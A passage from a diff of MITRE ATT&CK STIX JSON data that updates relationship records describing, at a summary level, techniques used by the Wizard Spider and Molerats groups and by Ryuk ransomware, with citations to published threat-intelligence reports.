Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " - }, - { - "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." } ], - "id": "relationship--df13cae2-4e20-4e89-ae60-6bd8b99e2342", - "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "type": "relationship", - "created": "2020-05-13T17:16:11.123Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used AdFind.exe and nltest/dclist to enumerate domain computers, including the domain controller.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DFIR Ryuk's Return October 2020)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", "relationship_type": "uses", - "modified": "2020-11-10T17:28:19.886Z" + "id": "relationship--73baa214-fbe6-477e-9beb-d1a08a6d117f", + "type": "relationship", + "modified": "2020-11-10T17:28:19.684Z", + "created": "2020-05-13T13:20:59.343Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "external_references": [ { "source_name": "CrowdStrike Grim Spider May 2019", - "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." } ], - "id": "relationship--ad06b85a-a0df-41aa-8f45-f41504987918", - "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", - "type": "relationship", - "created": "2020-05-13T17:16:11.136Z", - "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019) ", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used file deletion to remove some modules and configurations from an infected host after use.(Citation: CrowdStrike Grim Spider May 2019)", "relationship_type": "uses", - "modified": "2020-05-15T18:52:17.644Z" + "id": "relationship--5c252868-1474-4fed-b3b2-07a6d3415034", + "type": "relationship", + "modified": "2020-05-13T13:58:12.424Z", + "created": "2020-05-13T13:58:12.424Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)", + "relationship_type": "uses", + "id": "relationship--2b5965fe-b178-4c03-91af-942491c79302", + "type": "relationship", + "modified": "2020-05-13T13:58:12.493Z", + "created": "2020-05-13T13:58:12.493Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used stolen credentials to copy tools into the %TEMP% directory of domain controllers.(Citation: CrowdStrike Grim Spider May 2019)", + "relationship_type": "uses", + "id": "relationship--4f243ab6-812f-4fd3-9607-8d94409a94c1", + "type": "relationship", + "modified": "2020-05-15T18:52:17.533Z", + "created": "2020-05-13T15:28:06.633Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + }, + { + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." + }, + { + "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used RDP for lateral movement.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", + "relationship_type": "uses", + "id": "relationship--43fabcba-66b6-45dc-b905-926f0a0a2bba", + "type": "relationship", + "modified": "2020-11-10T17:28:19.792Z", + "created": "2020-05-13T15:28:06.685Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)", + "relationship_type": "uses", + "id": "relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0", + "type": "relationship", + "modified": "2020-05-15T18:52:17.609Z", + "created": "2020-05-13T16:45:50.311Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used HTTP for network communications.(Citation: CrowdStrike Grim Spider May 2019)", + "relationship_type": "uses", + "id": "relationship--93cd9a2c-48e3-4a95-90fb-6436afcfa7a8", + "type": "relationship", + "modified": "2020-05-13T16:45:50.316Z", + "created": "2020-05-13T16:45:50.316Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has collected and staged credentials and network enumeration information, using the networkdll and psfin [TrickBot](https://attack.mitre.org/software/S0266) modules.(Citation: CrowdStrike Grim Spider May 2019)", + "relationship_type": "uses", + "id": "relationship--2c54816e-5dd1-4723-99f5-29c80a2fc171", + "type": "relationship", + "modified": "2020-05-13T16:45:50.317Z", + "created": "2020-05-13T16:45:50.317Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "FireEye Ryuk and Trickbot January 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) used Base64 encoding to obfuscate an [Empire](https://attack.mitre.org/software/S0363) service and PowerShell commands.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--5a2c4561-48e4-4d51-8f00-ff470a18df32", + "type": "relationship", + "modified": "2020-11-10T17:02:41.068Z", + "created": "2020-05-13T17:16:11.074Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "FireEye Ryuk and Trickbot January 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020." + }, + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + }, + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + }, + { + "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." + }, + { + "source_name": "DFIR Ryuk's Return October 2020", + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used networkdll for network discovery and psfin specifically for financial and point of sale indicators. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also used [AdFind](https://attack.mitre.org/software/S0552) and nltest/dclist to enumerate domain computers, including the domain controller.(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: CrowdStrike Grim Spider May 2019)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DFIR Ryuk's Return October 2020)", + "relationship_type": "uses", + "id": "relationship--df13cae2-4e20-4e89-ae60-6bd8b99e2342", + "type": "relationship", + "modified": "2020-12-28T19:06:02.060Z", + "created": "2020-05-13T17:16:11.123Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "external_references": [ + { + "source_name": "CrowdStrike Grim Spider May 2019", + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020." + } + ], + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019) ", + "relationship_type": "uses", + "id": "relationship--ad06b85a-a0df-41aa-8f45-f41504987918", + "type": "relationship", + "modified": "2020-05-15T18:52:17.644Z", + "created": "2020-05-13T17:16:11.136Z" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -191833,13 +193318,18 @@ "source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." + }, + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." } ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) used executables to download malicious files from different sources.(Citation: Kaspersky MoleRATs April 2019)", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) used executables to download malicious files from different sources.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "id": "relationship--2fd0b80f-d053-4679-a350-1bb45b32ab49", "type": "relationship", - "modified": "2020-05-13T19:39:41.717Z", + "modified": "2020-12-15T00:13:05.723Z", "created": "2020-05-13T19:39:41.717Z" }, { @@ -191875,13 +193365,18 @@ "source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." + }, + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." } ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious links via email.(Citation: Kaspersky MoleRATs April 2019)", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious links via email trick users into opening a RAR archive and running an executable.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020) ", "relationship_type": "uses", "id": "relationship--21ebcd72-cb89-4d26-82b7-4d17843034c5", "type": "relationship", - "modified": "2020-05-14T14:30:09.809Z", + "modified": "2020-12-15T00:58:30.362Z", "created": "2020-05-13T19:39:41.729Z" }, { @@ -191896,13 +193391,23 @@ "source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." + }, + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." } ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious files via email.(Citation: Kaspersky MoleRATs April 2019)\t", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "id": "relationship--e586e3c7-ed6b-4f6b-92e8-031f0acc84ef", "type": "relationship", - "modified": "2020-05-14T14:30:09.803Z", + "modified": "2020-12-22T16:49:46.916Z", "created": "2020-05-13T19:39:41.738Z" }, { @@ -191917,13 +193422,23 @@ "source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." + }, + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." + }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." } ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious attachments.(Citation: Kaspersky MoleRATs April 2019)\t", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious Microsoft Word and PDF attachments.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "id": "relationship--5a9f2571-e611-4f7f-b0c9-6fc2d306b2f6", "type": "relationship", - "modified": "2020-05-13T19:39:41.741Z", + "modified": "2020-12-22T16:49:46.933Z", "created": "2020-05-13T19:39:41.741Z" }, { @@ -191959,13 +193474,18 @@ "source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." + }, + { + "source_name": "Unit42 Molerat Mar 2020", + "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020." } ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with VBScript, on target machines.(Citation: Kaspersky MoleRATs April 2019)\t", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built with VBScript, on target machines.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)", "relationship_type": "uses", "id": "relationship--b5ba1f46-0dd0-49f7-9d24-3822153229ba", "type": "relationship", - "modified": "2020-06-24T19:11:10.772Z", + "modified": "2020-12-15T00:13:05.767Z", "created": "2020-05-13T19:39:41.804Z" }, { @@ -192211,13 +193731,18 @@ "source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020." + }, + { + "source_name": "Bleeping Computer - Ryuk WoL", + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021." } ], - "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called GetIpNetTable in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.(Citation: CrowdStrike Ryuk January 2019)", + "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called GetIpNetTable in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.(Citation: CrowdStrike Ryuk January 2019)(Citation: Bleeping Computer - Ryuk WoL) ", "relationship_type": "uses", "id": "relationship--eebf12c3-1146-4daa-8fd2-c74ad19362f6", "type": "relationship", - "modified": "2020-05-15T19:13:48.359Z", + "modified": "2021-03-05T20:30:11.434Z", "created": "2020-05-14T14:27:31.213Z" }, { @@ -192326,111 +193851,111 @@ "created": "2020-05-14T14:38:22.650Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "external_references": [ { "source_name": "CrowdStrike Ryuk January 2019", - "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", - "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/" + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020." }, { "source_name": "Red Canary Hospital Thwarted Ryuk October 2020", - "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", - "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ " + "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", + "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020." }, { "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", - "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020." }, { "source_name": "FireEye KEGTAP SINGLEMALT October 2020", - "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", - "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." }, { "source_name": "DFIR Ryuk's Return October 2020", - "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.", - "url": "https://thedfirreport.com/2020/10/08/ryuks-return/" + "url": "https://thedfirreport.com/2020/10/08/ryuks-return/", + "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020." }, { "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", - "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", - "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/" + "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020." }, { "source_name": "DFIR Ryuk in 5 Hours October 2020", - "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.", - "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" + "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020." }, { "source_name": "Sophos New Ryuk Attack October 2020", - "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.", - "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/" + "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020." } ], - "id": "relationship--6895e54e-3968-41a9-9013-a082cd46fa44", - "target_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", - "type": "relationship", - "created": "2020-05-14T14:40:26.221Z", "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP 